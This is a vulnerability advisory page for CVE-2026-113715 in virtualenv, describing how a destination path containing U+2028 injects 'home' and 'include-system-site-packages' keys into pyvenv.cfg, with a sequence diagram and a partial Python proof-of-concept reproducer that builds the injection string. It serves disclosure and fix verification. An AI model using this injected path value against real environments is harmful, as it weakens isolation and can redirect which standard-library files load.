KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 04:58 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-113715

virtualenv: Venv configuration readback can reinterpret path boundaries

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

At a glance

Exploited
Not known
Severity
2.0 Low (CVSS 4.0)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf (opens a new tab)

What happened

## Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Continue reading

Configuration readback by the stdlib venv creator.

## Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

## Affected code

The relevant 21.14.8 source is in [venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py), [configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).

## Mechanism

With `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with `str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a `command =` value without escaping every character that `splitlines()` recognizes as a line boundary.

A destination containing U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

## Reproduction and evidence

The scanner used one destination value with U+2028 between `home = /attacker/chosen`, `include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the value inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed` on the same value wrote separate injected configuration lines and its interpreter reported `sys.

_home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered `home` can change which standard-library files the interpreter loads if an attacker also controls that location; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. [PR #3426](https://github.

com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

## Attack sequence

```mermaid sequenceDiagram participant A as Destination supplier participant S as stdlib venv participant V as virtualenv readback participant C as Final pyvenv.

cfg participant P as Environment Python A->>S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys._home changes and isolation is disabled ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import os import shutil import subprocess

work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignore_errors=True)

# the attacker's input: the text of a destination path. # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. # The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python")) real_home = os.path.dirname(base_python)

def pyvenv_cfg_lines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def sys_home(env): # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"] return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()

# control: the same path through the standard library alone stdlib_env = dest + "-stdlib" subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

# attack: the same path through virtualenv; --creator venv is the one non-default option virtualenv_env = dest + "-virtualenv" created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env]) if created.returncode != 0: # refusing such a destination is a valid fix print("virtualenv refused the destination") print("OK") raise SystemExit

# check stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env) virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL python -m venv wrote pyvenv.cfg:") for line in stdlib_cfg: print(" " + ascii(line)) print(f"CONTROL python -m venv: sys._home = {stdlib_home}") print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:") for line in virtualenv_cfg: print(" " + ascii(line)) print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacke

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

2.0

Version 4.0As of

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 15.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qmx5-4p3x-wvqf, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113715, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715). https://kevwire.com/record/CVE-2026-113715

MLA

"virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-113715.

Chicago

KEVWire. "virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-113715.

Evidence summary (plain text)

virtualenv: Venv configuration readback can reinterpret path boundaries (Oct 23, 2026).
The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over
virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure
before output sanitization.

Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 2.0 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-qmx5-4p3x-wvqf).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf: https://github.com/advisories/GHSA-qmx5-4p3x-wvqf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-26
Record ID: CVE-2026-113715.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail